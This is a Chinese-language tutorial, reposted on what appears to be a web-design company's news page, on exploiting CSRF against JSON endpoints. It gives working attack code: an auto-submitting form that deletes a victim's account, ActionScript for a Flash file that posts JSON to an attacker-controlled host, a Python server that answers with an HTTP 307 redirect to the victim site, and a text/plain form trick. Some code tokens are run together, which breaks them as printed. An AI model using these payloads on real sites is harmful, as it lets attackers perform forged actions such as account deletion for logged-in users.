怎么在JSON端點上利用CSRF漏洞

怎么在JSON端點上利用CSRF漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

創(chuàng)新互聯(lián)是少有的網(wǎng)站設(shè)計制作、網(wǎng)站設(shè)計、營銷型企業(yè)網(wǎng)站、微信小程序、手機(jī)APP,開發(fā)、制作、設(shè)計、賣鏈接、推廣優(yōu)化一站式服務(wù)網(wǎng)絡(luò)公司,自2013年起,堅持透明化,價格低,無套路經(jīng)營理念。讓網(wǎng)頁驚喜每一位訪客多年來深受用戶好評

怎么在JSON端點上利用CSRF漏洞

(CSRF + Flash + HTTP 307)=別說了,你已經(jīng)“死”了!

如果你想通過第三方攻擊者控制的服務(wù)器在JSON端點利用一個CSRF漏洞的話,我給大家推薦一個名叫json-flash-csrf-poc的GitHub項目【下載地址】。

背景故事

在近期的一次滲透測試過程中,我們不僅發(fā)現(xiàn)了幾個業(yè)務(wù)邏輯漏洞、XSS漏洞以及不安全的直接對象引用漏洞,而且還發(fā)現(xiàn)了一些跨站請求偽造(CSRF)漏洞。在我們所發(fā)現(xiàn)的漏洞中,有一個存在于JSON端點中的CSRF漏洞,這個端點可以接收J(rèn)SON格式的POST body。如果要利用這個漏洞的話,我們需要發(fā)送自定義Content-Type頭并附帶POST body,但標(biāo)準(zhǔn)的JavaScript/HTML不支持這種類型的請求。在使用XMLHttpRequest時,按照CORS規(guī)范,自定義Header將調(diào)用一個預(yù)檢請求。接下來在這篇文章中,我們將告訴大家如何來利用這個CSRF漏洞。

利用CSRF漏洞時遇到的問題

CSRF漏洞對于攻擊者來說,作用是非常大的。如果一個網(wǎng)站存在CSRF漏洞,那么無論請求的來源是哪,該漏洞都可以自動利用瀏覽器的功能來發(fā)送認(rèn)證令牌,而且服務(wù)器和應(yīng)用程序默認(rèn)情況下并不會區(qū)分請求的來源。

比如說,下面這個簡單的PoC利用的就是CSRF漏洞,它可以通過一個POST表單來調(diào)用賬號刪除功能:

<html>
 <body onload=myform.submit()>
  <form action="/userdelete"method="POST" name="myform">
   <input type="hidden"id="acctnum" name="acctnum" value="100">
   <input type="hidden"id="confirm" name="confirm" value="true">
  </form>
 </body>
</html>

當(dāng)一個已登錄的用戶瀏覽這個惡意頁面時(使用同一瀏覽器,且認(rèn)證會話處于活躍狀態(tài)),該頁面將會通過一個POST請求來觸發(fā)該功能。由于瀏覽器默認(rèn)會發(fā)送認(rèn)證令牌,該功能將會在服務(wù)器端被觸發(fā),并完成攻擊。

需要注意的是,該請求中的Content-Type頭被設(shè)置成了application/x-www-form-urlencoded,因為服務(wù)器需要接收URL編碼后的HTML表單數(shù)據(jù)。

那我們?yōu)楹尾荒苁褂眠@個PoC來利用JSON端點中的CSRF呢?原因如下:

1.   POSTbody需要以JSON格式發(fā)送,而這種格式如果用HTML表單元素來構(gòu)建的話會比較麻煩。

2.   Content-Type頭需要設(shè)置為application/json。設(shè)置自定義Header需要使用XMLHttpRequests,而它還會向服務(wù)器端發(fā)送OPTIONS預(yù)檢請求。

Flash和重定向

AdobeFlash可以讓W(xué)eb頁面向用戶請求使用ActionScript,而ActionScript同樣可以用來設(shè)置Web請求的自定義Header。除非遠(yuǎn)程站點上存在有效的crossdomain.xml文件,否則Flash不會向不同來源的服務(wù)器發(fā)送帶有自定義Header的請求。

為了完全避免跨域文件的影響,我們使用Flash來向Flash文件所在的同一服務(wù)器發(fā)送請求(帶有我們的POST Payload),并獲取另一份文件。這個文件將作為重定向器并發(fā)送HTTP狀態(tài)碼307。307跟其他3XX HTTP狀態(tài)碼之間的區(qū)別就在于,HTTP 307可以確保重定向請求發(fā)送之后,請求方法和請求主體不會發(fā)生任何改變。HTTP 307會將POST body和HTTP頭重定向到我們所指定的最終URL,并完成攻擊。

內(nèi)容整合

為了設(shè)計出最終的PoC,我們先來看一看存在漏洞的JSON端點和相關(guān)要求:

1.   /userdelete端點所能接受的請求Header需要是application/json。

2.   存在漏洞的端點需要發(fā)送下列JSON數(shù)據(jù):

{"acctnum":"100","confirm":"true"}

攻擊者設(shè)置

攻擊者的服務(wù)器由以下組件和通信流組成:

1.   當(dāng)目標(biāo)用戶在瀏覽器中下載并運行了攻擊者所托管的Flash文件后,惡意文件將會向攻擊者的服務(wù)器(重定向器)發(fā)送HTTP POST請求。

2.   重定向器腳本會在響應(yīng)信息(Location頭)中返回一個HTTP 307狀態(tài)碼。

3.   接下來,目標(biāo)用戶的瀏覽器會像最終的URL發(fā)送另一個帶有HTTP頭的POST請求,并完成攻擊。


怎么在JSON端點上利用CSRF漏洞

創(chuàng)建csrf.swf文件

為了創(chuàng)建能夠發(fā)送Web請求的csrf.swf文件,我們需要按照以下步驟操作:

1.   安裝FlexSDK將ActionScript編譯為swf文件。Flex需要安裝32位的JVM,這一步可以安裝32位JDK來完成。

2.   創(chuàng)建一個包含下列ActionScript代碼的text文件,文件名為csrf.as。

3.   獲取托管Flash文件的主機(jī)系統(tǒng)(攻擊者的服務(wù)器)IP地址/域名,并替換掉代碼中的<attacker-ip>。

4.   運行“mxmlc csrf.as”命令,將該文件編譯為csrf.swf。

package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
public class csrf extends Sprite
  {
   public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 = {
          "acctnum":"100",
          "confirm":"true"
      };
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String ="http://attacker-ip:8000/";
      var request:URLRequest = newURLRequest(url);
      request.requestHeaders.push(newURLRequestHeader("Content- Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = newURLLoader();
try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
}

創(chuàng)建Web服務(wù)器

服務(wù)器的基本功能就是托管csrf.swf文件,并且在收到其他HTTP流量時發(fā)送307重定向,我們可以使用Python的BaseHTTPServer模塊來實現(xiàn)。

1.   創(chuàng)建一個包含了下列代碼的Python文件,文件名為pyserver.py。

2.   這份Python代碼就是我們托管csrf.swf的Web服務(wù)器,它可以向http://victim-site/userdelete端點發(fā)送HTTP 307重定向。

3.   通過命令“python pyserver.py”運行Web服務(wù)器。

import BaseHTTPServer
import time
import sys
   
HOST= '' 
PORT= 8000
   
classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  def do_POST(s):
    if s.path == '/csrf.swf':
      s.send_response(200)
     s.send_header("Content-Type","application/x-shockwave-flash")
      s.end_headers()
      s.wfile.write(open("csrf.swf","rb").read())
      return 
    s.send_response(307)
    s.send_header("Location","http://victim-site/userdelete")
    s.end_headers()
  def do_GET(s):
    print(s.path)
    s.do_POST()
   
if__name__ == '__main__':
  server_class = BaseHTTPServer.HTTPServer
  httpd = server_class((HOST,PORT),RedirectHandler)
  print time.asctime(),"Server Starts -%s:%s" % (HOST,PORT)
  try:
    httpd.serve_forever()
  except KeyboardInterrupt:
    pass
  httpd.server_close()
  print time.asctime(),"Server Stops -%s:%s" % (HOST,PORT)

注:我們在創(chuàng)建這個HTTP重定向服務(wù)器時,參考了這個【GitHub庫】的代碼。

PoC工作流程

下面給出的是攻擊的整個過程,其中目標(biāo)用戶的瀏覽器必須啟用Flash:

1.   用戶在瀏覽器中登錄http://victim-site/。

2.   用戶被重定向到http://attacker-ip:8000/csrf.swf。

3.   Flash文件加載成功,并向http://attacker-ip:8000/發(fā)送帶有自定義Header的POST Payload。

4.   攻擊者的服務(wù)器發(fā)送HTTP 307重定向,這樣便能讓POST響應(yīng)body和自定義HTTP頭按原樣發(fā)送到 http://victim-site/。

5.   目標(biāo)用戶刷新自己的 http://victim-site/ 頁面,并發(fā)現(xiàn)自己的帳戶已經(jīng)被刪除了。

其他的想法

這里我們必須要使用到一份Flash文件以及307重定向器,因為服務(wù)器端會驗證請求的Content-Type是否為application/json。如果服務(wù)器沒有進(jìn)行這種檢測,那我們就可以利用JavaScript來創(chuàng)建一個HTTP元素屬性,并用下面的代碼生成和發(fā)送POST請求:

<html>
 <body>
  <script src=" https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain"action="https://victim-site/userdelete" method="POST">
   <input id="json"type="hidden" name='json' value='test"}'>
  </form>
<script>
  $(document).ready(function() {
 $("#json").attr("name",'{"acctnum":"100","confirm":"true","a":"');
  $("#myform").submit();
  });
 </script>
</body>
</html>

當(dāng)然了,你也可以使用Fetch_API來發(fā)送JSON POST請求并完成攻擊。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對創(chuàng)新互聯(lián)的支持。

分享題目:怎么在JSON端點上利用CSRF漏洞
新聞來源:http://bm7419.com/article32/pcgdsc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供面包屑導(dǎo)航外貿(mào)建站、定制開發(fā)網(wǎng)站維護(hù)、小程序開發(fā)、微信公眾號

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

營銷型網(wǎng)站建設(shè)